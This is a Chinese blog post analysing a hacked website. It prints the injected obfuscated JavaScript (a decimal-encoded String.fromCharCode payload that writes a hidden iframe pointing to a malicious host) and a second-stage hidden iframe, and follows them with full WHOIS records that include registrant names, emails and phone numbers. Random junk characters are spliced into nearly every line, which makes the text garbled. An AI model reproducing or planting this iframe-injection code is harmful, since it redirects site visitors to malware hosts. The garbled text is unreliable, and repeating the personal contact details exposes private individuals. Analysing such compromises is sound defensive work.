首发在我的博客里面，
0=6/yc $v} <' http://www.areway.cn/?p=175 cs_}&!c{ Zv qn%K], $T }Tz7 ( 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
-NM0LTF hPdx(E)8!d <script>t=’60,105,102,114,97,109,101,
H5nS%D 32,115,114,99,61,104,116,116,112,58,47,47,
Y/U{Qc\ 6 102,114,101,101,46,117,45,117,117,117,46,99,
ivrXwZ7jT 110,47,101,114,114,111,114,46,104,116,109,
h ? #@~ 32,119,105,100,116,104,61,49,48,48,32,104,
jB@ 4b 'y 101,105,103,104,116,61,48,62,60,47,105,102,
!rTmR@e$/ 114,97,109,101,62′;
(:\LWJX0= t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
G+"8l!dC? (U87}}/l <script>t=’60,105,102,114,97,109,101,32,115,
;RN8\re 114,99,61,104,116,116,112,58,47,47,102,114,
m-1? \bs 101,101,46,117,45,117,117,117,46,99,110,47,
_MYx%Z 101,114,114,111,114,46,104,116,109,32,119,
;?IT)sNY 105,100,116,104,61,49,48,48,32,104,101,105,
`Y3( ~~YGn 103,104,116,61,48,62,60,47,105,102,114,97,
}qC SS <a 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
H3 m8 document.write(t);</script>
3vJ12= d*;$AYI#R <html xmlns=”
hSqMaX%G http://www.w3.org/1999/xhtml ;R[&pDx “>
M V +i{] <head>
3;$b S<> <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
PDw{R]V+ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
BSXdvI1y <title>首页 - 爱生活家庭网
+lp{#1q0 4/wwn6I}G 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
Iao[Pyk 转换字符串后的大概内容是（谁点击后果自付）：
bY#;E;'7 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
_|n=cC4Qu t&c&KFK)I& 查询玉米u-uuu.cn的详细信息：
pZ+j[! Domain Name: u-uuu.cn
T$b\Q ROID: 20070901s10001s64972306-cn
D6=HYq dj Domain Status: ok
BpT"~4oV5 Registrant Organization: 王雷
qj?2%mK` Registrant Name: 王雷
Sa]Ek* Administrative Email:
czlovexs@126.com V
4qtaHf Sponsoring Registrar: 北京万网志成科技有限公司
5RA< Z. Name Server:ns.yovole.com
o+)A'S Name Server:ns1.yovole.com
/)1v9<vM" Registration Date: 2007-09-01 17:54
] XrE Expiration Date: 2008-09-01 17:54
6$B'Q 30}r 最后PING了一下地址 都没有什么….
LZ& uj{ < b!~TAT&8 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
*q" G } <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
5~\Kj#PBx <script language=”javascript” src=”
aR(E7mX Q http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 'yT`ef >
:{CFTc5:A 这个玉米应该有可能是木马作者的：
'\4fU% foafau.info的详细信息：
\JU ~k5j Access to INFO WHOIS information is provided to assist persons in
h=f6~5l5 determining the contents of a domain name registration record in the
_O 52ai><b Afilias registry database. The data in this record is provided by
ec?1c&E Afilias Limited for informational purposes only, and Afilias does not
\|{*arS guarantee its accuracy. This service is intended only for query-based
7t4v~'h;5e access. You agree that you will use this data only for lawful purposes
w ~v<v& and that, under no circumstances will you use this data to: (a) allow,
<;KRj85"j enable, or otherwise support the transmission by e-mail, telephone, or
u[`v&e facsimile of mass unsolicited, commercial advertising or solicitations
i w z`
x to entities other than the data recipient’s own existing customers; or
M]0^ ind (b) enable high volume, automated, electronic processes that send
nL;K|W queries or data to the systems of Registry Operator, a Registrar, or
XqFu(Lm8= Afilias except as reasonably necessary to register domain names or
Rrz'(KSDw modify existing registrations. All rights reserved. Afilias reserves
U+!UL5k the right to modify these terms at any time. By submitting this query,
U2&HSE|2J you agree to abide by this policy.
T#e4": A&x Domain ID:D22418703-LRMS
q }R lo/R Domain Name:FOAFAU.INFO
~|=rwDBZ8l Created On:20-Nov-2007 16:05:42 UTC
R"Y?iZ ed3 Last Updated On:20-Nov-2007 16:05:44 UTC
jlRS:$|R0 Expiration Date:20-Nov-2008 16:05:42 UTC
|| gEs/6- Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
vU9~[I`^p Status:CLIENT DELETE PROHIBITED
}wkaQQh Status:CLIENT RENEW PROHIBITED
-,@bA @& Status:CLIENT TRANSFER PROHIBITED
=|# w.(3y Status:CLIENT UPDATE PROHIBITED
-y < x!61 Status:TRANSFER PROHIBITED
rIp'vy S\p Registrant ID:GODA-040110615
gN\*Y Registrant Name:liu hong
s;>VeD)*) Registrant Organization:
:xN 8R^( Registrant Street1:beijing
;Bnr=' [ Registrant Street2:
x?>!UqgkY Registrant Street3:
P7Z<0Dt\} Registrant City:beijing
T:)% P6/ Registrant State/Province:
._K$0U ! Registrant Postal Code:100000
hwZ6 . Registrant Country:CN
5^o3y.J?P Registrant Phone:+86.860108888777
.r6YrB@[' Registrant Phone Ext.:
vu>YH)N_h Registrant FAX:
(JvQ-H Registrant FAX Ext.:
Z_jn2 7AC Registrant Email:bbbshiji@163.com
.='3bQ(UZ4 Admin ID:GODA-240110615
`&G} Admin Name:liu hong
johmJLC Admin Organization:
L+(C5L93} Admin Street1:beijing
#_,uE9 Admin Street2:
WxDb3l~ Admin Street3:
7n
[12: Admin City:beijing
@C<d2f|8 Admin State/Province:
&V FjH W Admin Postal Code:100000
|Pj9ZG# Admin Country:CN
]#M/$?!]g2 Admin Phone:+86.860108888777
H&u4v2
Admin Phone Ext.:
I4CHfs"ar Admin FAX:
w2K Wa-BO Admin FAX Ext.:
&Ky3Jb<:Gt Admin Email:bbbshiji@163.com
ax;{MfsK Billing ID:GODA-340110615
T!&j Fy*W Billing Name:liu hong
->Q`'@'|P Billing Organization:
"?`JA7~g Billing Street1:beijing
B[Ix?V4yy Billing Street2:
kYmo7 Billing Street3:
sOjF?bCdO Billing City:beijing
Skr iX\p Billing State/Province:
s?~8O|Mu' Billing Postal Code:100000
B5
tx f. Billing Country:CN
a5>)?m Billing Phone:+86.860108888777
}Olr Billing Phone Ext.:
Qlf
9]ug) Billing FAX:
SAQs {M Billing FAX Ext.:
Kyyih|{ Billing Email:bbbshiji@163.com
3[,wMy" Tech ID:GODA-140110615
K] %N-F>r Tech Name:liu hong
\kfcv Tech Organization:
IMw
"eV Tech Street1:beijing
oMz/sL'u Tech Street2:
5_PWGaQa Tech Street3:
s&Z35IM8| Tech City:beijing
p9k4w%
~: Tech State/Province:
e2q pJ4i Tech Postal Code:100000
.<0=a |IAz Tech Country:CN
9PUa?Bc` = Tech Phone:+86.860108888777
tru;;.lj8K Tech Phone Ext.:
fu Q4rt[i Tech FAX:
(q~R5)D Tech FAX Ext.:
?' TA!MR Tech Email:bbbshiji@163.com
Bmi:2} j Name Server:NS27.DOMAINCONTROL.COM
J& n ^y Name Server:NS28.DOMAINCONTROL.COM
9 $:QLE+t Name Server:
-MQZiq7H4 Name Server:
B-B?Ff> Name Server:
g"TPII$ Name Server:
:QxL 9&" Name Server:
+p8qsT#7 Name Server:
T-hU+(+hg Name Server:
9*7Hoi4Ji Name Server:
[0d-CEp[ Name Server:
H-;&xzAI Name Server:
rs d2v9 Name Server:
ev)rOcOU (ra:?B 接着下载每个文件里面的代码：
3"HGEUqA 一步一步看..
D)f5pEq' 
MT;SRAmUr 
6#OL
;Y]_ 
T_(qN ;_ 
16a_GwfM 
"
whO} 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
